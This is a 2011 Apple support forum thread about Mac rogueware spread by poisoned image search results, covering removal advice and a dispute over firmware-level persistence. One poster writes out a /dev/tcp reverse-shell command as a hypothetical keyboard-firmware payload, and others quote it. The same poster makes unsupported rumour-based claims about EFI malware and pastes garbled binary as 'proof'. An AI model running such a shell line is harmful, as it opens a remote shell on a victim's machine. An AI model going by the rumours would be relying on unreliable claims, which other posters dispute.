Looks like no one’s replied in a while. To start the conversation again, simply ask a new question.

Mac Malware/poisoned images

Two detailed articles that go into greater depth of the malware attacking Mac users.



http://www.securelist.com/en/blog/6211/Rogueware_campaign_targeting_Mac_users


http://blog.unmaskparasites.com/2011/05/05/thousands-of-hacked-sites-seriously-p oison-google-image-search-results/




If your new to the party:


Mac targeted trojans are making their rounds mostly by poisoned images from Google.


The exploit depends upon Javascript, you can choose to turn it off in Safari preferences, however large portions of the web don't display or operate correctly without Javascript running.


A easier preventative option would be to use Firefox and the NoScript Add-on, use Firefox toobar customization to drag a NoScript button to the toolbar.


NoScript turns off all scripts and plug-ins by default, which you enable on a per site, per need, per visit type basis by clicking the NoScript button.


Firefox also has a pop-up window with a opt out before the downloads occurs, another safety step.


If you have click happy types types, it's advised to install the Public Fox ad-on as well, set a password on the broswer downloads.



If you have the trojan web page on your Mac's screen, simply use Apple Menu > Force Quit to quit the browser.


If you've downloaded but not run the installer, delete it immediatly from your downloads folder.


If you've installed the trojan and gave it your admin password, you need to backup your files to a external drive and c boot off the installer disk and Disk Utility > Erase with Zero your whole boot drive and reinstall OS X fresh, re-install all programs from original sources, scan your files with a AV software and then return them to your computer.


If you gave the AV software your credit card information, you need to call the credit card company and cancel the charge and freeze it. Assume your identity has been stolen and take appropriate action to defend your identity.


http://www.ftc.gov/bcp/edu/microsites/idtheft/



Some other advice:


Use only low amount debit/credit cards online with amounts your willing to risk losing.


Do not enable overdraft protection with these on line type cards.


Maintain the bulk of your funds in more secure, no user electronic access accounts (keep the blame for loss entirely on the bank)


Beware that banks and credit card companies like to increase your credit/debit card limits without notice.


If you lose a considerable amount of funds through a electronic means in your control, like a ATM, credit card, debit card or on line banking, expect a very long and tiresome legal battle to hopefully regain those funds and prove fault.



(note: I receive no compensation from mentioning these sites/article or their solutions, etc)

MacBook Pro, Mac OS X (10.6.7), 17" Quad XP, Vista, 7, Linux(s)

Posted on May 13, 2011 9:15 AM

Reply
100 replies

May 14, 2011 12:17 PM in response to ds store

The correct way to deal with this Trojan


You do not know the correct way to deal with this trojan. By your own admission, you have never examined it. Yet you feel you know better on this topic than people who have?


Further, the trojan is not gaining root access, as has been explained to you countless times before. What gains root access is Apple's installer, which is simply moving components into the necessary locations and then opening the app. The MacProtector app itself does not ever have root permissions!


As to your notions of a trojan inserting itself into firmware, you have also been told by others here that that is not a realistic threat on a Mac. If you have real information about an exploit that can do that, other than a theoretical keyboard exploit from two years ago that has never been heard of since, please share specifics. Providing us links to exploits that gain access to the BIOS on Windows PCs has no bearing to the Mac.

May 15, 2011 5:56 AM in response to thomas_r.

Thomas A Reed wrote:

If you have real information about an exploit that can do that, other than a theoretical keyboard exploit from two years ago that has never been heard of since, please share specifics.

The actual details of the "exploit" are readily available online, but so is a lot of hogwash about what it could do, apparently written by a few people that never actually studied those details, for instance in this article from the aptly named "SemiAccurate" web site.


The only thing actually demonstrated at the Black Hat convention was a very rudimentary key logger. In order to get the logged keystrokes out of the keyboard, it was necessary to manually type a specific keystroke sequence, at which point the logged keystrokes appeared onscreen as if a user were typing them. Obviously, this is not particularly useful to a malware author!


The paper presented by "K. Chen" at the convention explains that this hack could also be used along with a rootkit already installed in the OS to run terminal commands at startup time, just as if a user were typing them in from the keyboard. It isn't inconceivable this could be exploited for malicious purposes (although it would be very tricky to get the timing right or to include much code in the available flash memory in the keyboard). Another problem is if the exploit involves sending anything back to the IP address of the attacker's machine, this IP address must be hard coded into the exploit, meaning if the host site has been shut down (as most are shortly after being detected) the exploit will fail.


However, if the rootkit isn't already there, even if the code in the keyboard is set up to execute automatically after some time without being called by the rootkit, getting that code to reinstall the rootkit would be the equivalent of trying to do that by blindly typing the necessary commands to start terminal & insert the rootkit code into the OS files on the hard drive. Getting the timing right for this to work would be incredibly difficult -- there is no way for the code to poll the startup process until the rootkit is already installed (which of course it is not) & since the boot sequence varies by model, hardware, & the state of the pre-linked kernel cache file that normally speeds up startup & initialisation boot processes, no one set of timing delays would work on more than a few Macs. It would be a huge amount of effort for very little benefit for the malware author, who do not forget is limited by the relatively tiny amount of flash memory available in the keyboard.


And if that were not enough, just getting the code into the keyboard's firmware is quite difficult to begin with. In the demo, this was all done manually, by exploiting Apple's firmware updater utility to install a hacked firmware update file. If you have ever installed a firmware update, you probably know this requires authentication. If the keyboard was already hacked, it might not be difficult to fake that (assuming you already have the password), but of course what you are trying to do is install the hack so you can't use it yet.


So, after considering all of this it should become obvious why this exploit has not made the news since 2009.

May 15, 2011 6:59 AM in response to ds store

Further update


Having checking with some back alley sources, the "MacDefender" Trojan is being married with a program that loads directly into memory and has access to the EFI firmware.scap file.


The object is to use MacDefender as a piggyback method, a "shell", with the usual installs to avoid detection and more though eradication efforts.


The motivation is revenge for Apple's location tracking by iDevices, Google is also being targeted as Android stores tracking data as well. Apple is now considered "fair game" "open season" "anything goes" etc.


I show you a portion of the raw EFI file as proof it can be easily accessed.


ΩÜf;v

0@∑ µQû/≈†Pp PŸTìzh JDÅŒ ˆ ÿêfl_FVHˇéˇˇH”J  m„√îÇóK®W’(è„>(p| @f¯N $IBIOSI$ ROMEXT1.88Z.0002.B00.0710231738ˇˇ¯≠Ú2 ìfHûß!\è§6´Ä @™»‹¯í»‹ Ü»‹∏1c PÖfiΩ⁄‰õìA˚ΩÔ{fi¸}

S

J÷4äc #«

aHC

¬óHA MQ8`êDÑ!F %1¬ VêÜ J‹pÖ+ç+Ö0¬J∆∫„ 0µëc ! cH◊$ô8“∂kú8‰≤5í∞ ˇ˛˜æ˜„‚∆Àd‰ôºów9vÊÓÛõÂo7|MÒ7¯gºfl |

~

H‰í] B"Ö ._2SW®”˝ivΑ̇^ Do4Úù§ØÅ;ıØî◊˛

R(>ªO5©’fluSø!M˚øåãC-ß’Î$ŸÒ‚0î¢kÔí㈠zπoªkë˝D∑W(E√√‘Í‚˛MO7˚9dJy eúÌÈıı0 ~ıi<Ô? ïö) WY*O0>˘ íßπ߲û√cª'ùÓâ™nÁ_WRZ Ä ¸Ë_ÉÓ{™˙N˛œ ã™Ú´ ÷t~}- >Àáë(π-˝–§Ωflˆ“˜ ˙<?Ã≠0õÊ cJ !>óó… ˛Ä◊R”÷lõ˚’√"WDK|Nª∫®Ìı˝…·¸ry‚L ˝}>øeSâ∂Ä j_ ˝ «_O‹xzŒ≥Í©ØÒ}2.ØOSQWXflbTÇᲢ«‘˜}≈O; Î\O;Ôé%Ôˆ¢“¡°ª‘XÎæ e˘K@- }yã

‚õ|.wŇ˙‹Ïé⁄ ´y∫ û µ Ä yoëàE Ò=nwJ ´L;Ô∏|cÅ·Òî™(í¸ Jî Eñ¨X¶ï® `‰ïªÂ6¡À∆.òç

_ „jΩ*EvO W™euO€ sÅ rG-¸›LŒ§æahõ»cìì™R Â∫∫Z % AE$?ïê||%yE6ΩYgÅôj ∑ N ÍñÖ>≠˘X .¥1J/ÄUA/?ì

ÔÕl'œÉä ê3¿ËAúI¢Ks°/Äkg!æ5e@ÛBUlN7í&˚ñ8•J Ï;º_ ∑l» 1ø

¯+ëGà}¿S∫f¸Æƒ=‡è° {î6‚º¯Wä8∞Ó ´rœÜfiô Ò G∂Moá[ÑQÀì} RŒèÃÉj&9†‹∏3A 7*pÍqL∑ª ˆÜÏO˚A l ≤[ô =òèí

˙0˛–;–

Ù7 8:Ep

AXR¡

ˇ:ä ~_Ñ'’&Ռəhgf‚.IéhCËñî?∑Eøã{83ßkFä ‰ | pqQQÊ …Eœflï2 1E ˚8 bì ,?¿r›˝¢x·E≈Œ"—fl )ı†ˇJ≤

Û m 5]∏|‚(π√Õ¢‚ÚÀó π ˛›5ø¶F ÂSq~… üX˛ÍíûÌ√Ê ¬˛)Y"‚Ú…‹Y©ÜŒµúá”lW≥ü˝Ê˜l.RÏqPü.åWä?6xœ<)˚çúÆw~ô]qY¸±á}π÷›¯oÛ ¯"ΩF!Áœ"‡¯¨™X+[£ Ò‚>Ò ' ´Z≈ ŒË%˜)nπz∂¯Å ˘Õ˙∂¡N¨iTõ«; È∂´~√ bΩ7hΩqkyÕå



https://secure.wikimedia.org/wikipedia/en/wiki/Extensible_Firmware_Interface

May 15, 2011 7:47 AM in response to R C-R

R C-R wrote:



The object of the keyboard firmware exploit is not to interact with the rootkit, but to allow it back in.


Command - Space - Terminal - Return


exec /bin/sh 0</dev/tcp/IP/PORT 1>&0 2>&0 - Return - Return


Plenty of room in the keyboard firmware for that. 😉


Also it's immune to scanners, so a user won't know it's there.



If recent OS X versions are reinstalled from the installer disk, and if it flashes the firmware(s) and EFI (even with a old version), then that should solve any issue with lingering malware, keystroke loggers or port openers.


When the user Software Updates, they then should get the latest firmware patches as usual.


It just makes a whole lot of sense that Apple would do things this way, if they do that. 😐

May 15, 2011 7:55 AM in response to ds store

ds store wrote:

As you know EFI loads before and works independently of OS X with complete drive access (unencytped files) and Internet capability.

No, it does not. In fact, OS X doesn't use the EFI partition on a hard drive for anything at all besides a temporary staging area for firmware updates (which can't be accessed until the Mac is restarted in a special 'flash firmware' mode). The EFI file you mentioned (presumably /System/Library/CoreServices/boot.efi?) does basic hardware initialization and selects which operating system to use. Beyond that, on a Mac running OS X it has no function, & it certainly does not have Internet access capability at boot time, nor does it have "complete drive access."


The Mac boot process is quite complex. For an introduction to that, see The Boot Process.


Beyond that, no program that loads "directly into memory" (whatever that is supposed to mean beyond what every program does) has access to the EFI firmware. The EFI firmware is not the same thing as the boot.efi file. Modifying the boot.efi file is possible, but not easily done, nor would it get you any special capabilities or file access without the addition of what amounts to a separate, functional OS independent of OS X somewhere on the drive.


You (or your back alley sources?) seem to be confused about what EFI is, how & when Mac firmware is accessed, & the Mac boot process in general, especially how it differs from Windows EFI implementations.


As for the revenge motive, that is silly. Serious malware authors are in this for money, not for revenge, & especially not for something as trivial as tracking data that never leaves the phone & was only retained for up to a year because of programming error.

May 15, 2011 8:40 AM in response to ds store

ds store wrote:

The object of the keyboard firmware exploit is not to interact with the rootkit, but to allow it back in.


Command - Space - Terminal - Return


exec /bin/sh 0</dev/tcp/IP/PORT 1>&0 2>&0 - Return - Return


Plenty of room in the keyboard firmware for that.

And exactly how do you think that this by itself would allow a rootkit back into the system?


To begin with, the Mac has to have the shortcut to bring up Spotlight both enabled & set to command + space; otherwise Terminal won't be launched & the key sequence will just result in it being sent to whatever is the frontmost app. (On my Macs, that would just open a QuickView window if Finder was frontmost & who knows what else if some other app was.) The sequence must not be sent when a user is typing or it will be mixed with whatever actually is typed from the keyboard. If the user is at the keyboard, it will be hard to miss the Spotlight menu item opening & Terminal launching, letting the user know something weird is going on.


But let's say all that happens. Unless "IP" is the actual IP address of a working site, nothing happens except a long timeout. We already know that the rogue sites are shut down or blocked by ISP's (or the malware authors themselves) very quickly after they appear. There is a good reason for this: they leave a trail back to whoever is running the site. Not very appealing if you are a criminal trying to use the anonymity of the Internet to avoid prosecution & too easy to get blocked if you leave it up for long.


But let's say the site is active. How does the author send any commands back to the Mac & get them past the incoming firewall, get them admin or better access privileges, & get whatever they are intended to do to avoid being stopped by the OS's security features without the rootkit already in place?


Do you see why this kind of thing is nowhere as easy to do in practice as it as it might seem in theory?

May 15, 2011 9:18 AM in response to ds store

I think ds store has point for something. On security paranoia is never enough, and there's not a worse insecurity than a false sense of security. If I would write a malware I would also find a fallback to get it back on an infected system once the user erases those files. If you think about a typical mac system would have a Time Capsule or an Airport Extreme. For example if a malware would flash the firmware of those devices it will be very hard to get rid of it. Moreover Apple doesn't ship any firmware for those devices on installation disks that ships together with them. I totally agree with him on a "bird's eye" point of view about this matter. Practically and pragmatically it's very hard to achieve those results for malware on mac systems, but who knows? I don't think it would cost that much to Apple to include firmwares on both computers and other devices installation disks.

May 15, 2011 9:42 AM in response to R C-R

R C-R wrote:


The EFI file you mentioned (presumably /System/Library/CoreServices/boot.efi?)


No the EFI/APPLE/EXTENSIONS/Firmware.scap file.


Do you know what that is? 😉


R C-R wrote: no program that loads "directly into memory"


This one does, it's like a miniture operating system, even running while another operating system is running. Stick it in a USB key and stick it in any Mac or PC and it has complete unfettered access to anything on the entire machine that's not individually encrypted. Windows or OS X is simply bypassed like a passed out bum on the street, passwords blanked, hard ware direclty accessed etc, no sweat.


I'll try to get a copy of it.

May 15, 2011 10:18 AM in response to Rayced

Rayced wrote:


If I would write a malware I would also find a fallback to get it back on an infected system once the user erases those files.

Just because you want to find something doesn't mean it exists.


For example, flashing firmware on a Mac requires the use of software tools that are very difficult to compromise unless you have direct, interactive access to the machine. You might be able to do it if you were a very good coder & sure of the hardware & its firmware that you were targeting, but don't forget you have very limited storage space to work with in the device's flash memory so you can't use very complex code. You have to be very careful not to affect the functionality of the device; otherwise all you will have accomplished is "bricking" the device & you won't be able to use it for anything. A Mac that won't start up with your compromised keyboard attached or an Airport Extreme that won't connect to the Internet gets you nothing.


You also have to solve the very difficult problem of how to keep an IP address up & running for your hack to "phone home" to & how keep that from leading back to you.


Regarding the "who knows" thing, if someone really knew how to do all that's required to make this a practical exploit, don't you think they would have done that by now, & done so on a large scale basis? The basic ideas for this type of exploit have been around for at least six years & probably much longer -- anyone who played around with programming micro controllers in the 1980's probably at least thought about writing a "Hello world" program that used the same technique that the Black Hat hacker demonstrated.


In fact, the only thing that made that noteworthy was it was done with Apple hardware. The hacker even explained that the hack was not limited to Apple products, but that was largely overlooked because involving the Apple name & implying its products were more vulnerable was more buzz-worthy than the truth.

May 15, 2011 10:20 AM in response to R C-R

R C-R wrote:


But let's say all that happens. Unless "IP" is the actual IP address of a working site, nothing happens except a long timeout. We already know that the rogue sites are shut down or blocked by ISP's (or the malware authors themselves) very quickly after they appear. There is a good reason for this: they leave a trail back to whoever is running the site. Not very appealing if you are a criminal trying to use the anonymity of the Internet to avoid prosecution & too easy to get blocked if you leave it up for long.


Your forgetting the previous (and now assumed deleted) root kit (who put the commands in the keyboard firmware) had the IP address of the user, thus it doesn't matter where the attacker launches from if they have the users IP and a open port.



R C-R wrote:


But let's say the site is active. How does the author send any commands back to the Mac & get them past the incoming firewall, get them admin or better access privileges, & get whatever they are intended to do to avoid being stopped by the OS's security features without the rootkit already in place?


Do you see why this kind of thing is nowhere as easy to do in practice as it as it might seem in theory?


A wild guess would be exploiting a flaw in a OS X program or perhaps using the admin password gleamed by the keylogger in the keyboard firmware to SSH into the box?


I'm not a hacker, I'm just trying to ensure every tiny bit of software (including firmware and hidden partitions) is able to be flashed or restored to exact factory conditions in case of ANY malware attack.

May 15, 2011 10:55 AM in response to R C-R

Two years ago there was a WordPress malware doing that, it had a fallback to re-install files that were deleted on a top layer. To get rid of it you had to re-install the whole thing and make a new database. Even so people were getting it back when re-importing the old database backup that wasn't sanitized.

I know you would say it is something completely different, I'm talking about the approach to this matter.

So that isn't a scenario that "I want to see", but actually something a smart malware writer does. As far as we know there isn't yet something that resemble to what ds store is describing here. Or probably it wasn't yet discovered.


What he is addressing are probably potential vulnerabilities, and I would have his exact same approach if I got my machine infected by a malware: re-install from scratch and probably not recover anything from backups with the automated Time Machine methods and to be sure I would also get back to a sure firmware shipped on a physical support. I repeat myself: I don't think it would cost that much to Apple including those firmwares on the physical supports shipped together with its hardware.


Call me paranoid, but I'm one of those guys not using an Administrator user as per-daily use (as mentioned also by official Apple security guide which can be easly found on this site for both Mac Os X Leopard and SL), and I don't want to sound rude but I've read some so self-defined experts on these threads about mac security saying it was better to use an administrator user on a per-daily use because of "some applications would need that".

May 15, 2011 11:20 AM in response to ds store

ds store wrote:

No the EFI/APPLE/EXTENSIONS/Firmware.scap file.


Do you know what that is?


Yes, I do. But do you know it is meant for hacking generic BIOS-based PC hardware so it can start up running OS X? Do you have any idea what it would do if applied to a real Apple Mac's hardware? Once again, have you personally tested anything at all that is relevant to this issue, or is this just more hearsay & vague, unfounded speculation?


R C-R wrote: no program that loads "directly into memory"

This one does, it's like a miniture operating system, even running while another operating system is running. Stick it in a USB key and stick it in any Mac or PC and it has complete unfettered access to anything on the entire machine that's not individually encrypted.

1. All programs load into memory. That's a necessary but far from sufficient condition to get them to be executed by the OS.


2. Nothing you can put on a USB key or any other drive just automatically takes over the operation of a Mac without the consent of the OS. It is called the operating system because it is in control of the operation of the computer. If you want another OS to control it, you need to start up into that OS, install virtual machine software compatible with (& limited by) the host OS, etc.


3. Even if the above were not true, what in the world does this have to do with malware people download from the Internet? Are you imagining some malware opening a window requesting users to kindly plug a USB key into their Macs or something? If not, what are you talking about?


You really don't seem to understand much about the fundamental differences between PC's & Macs. I don't know if this is the source of your confusion or what, but your comments are becoming progressively less relevant to Macs as this discussion progresses. You are not helping anyone by doing this, just confusing them & making it harder for them to decide what to do about a very straightforward trojan with well understood characteristics.

May 15, 2011 11:49 AM in response to ds store

ds store wrote:

Your forgetting the previous (and now assumed deleted) root kit (who put the commands in the keyboard firmware) had the IP address of the user, thus it doesn't matter where the attacker launches from if they have the users IP and a open port.

You have it backwards. It isn't the user's IP address that has to be entered into the command line, it is attacker's.


A wild guess would be ...

… nothing more than a wild guess. It is not a substitute for facts, researching & understanding the subject, or most particularly for actually testing your speculations to see if they have even the slightest possibility of occurring in the real world.


If it makes you feel any better & you actually do get infected, take your Mac down to as close to factory-new condition as you can manage, check every user & system setting file with whatever you like before reintroducing it into your shiny new system, & do whatever else you think is necessary to remove all real & theoretical traces of the malware.


This will probably cost you a few days of lost productivity but if that is what you want to do, nobody is going to stop you.

May 15, 2011 12:08 PM in response to R C-R

R C-R probably thou should read what other people write. I was using the example of that wordpress malware to explain the concept behind a good written malware and a poor one. The good one has more than one layer, so if you erase the most prominent layer, the one underlaying will take care of it.


In my country we say that there's no worst blind than the one whom doesn't want so see, I don't know if in Texas that makes sense too. Have a good day.

Mac Malware/poisoned images

Welcome to Apple Support Community
A forum where Apple customers help each other with their products. Get started with your Apple ID.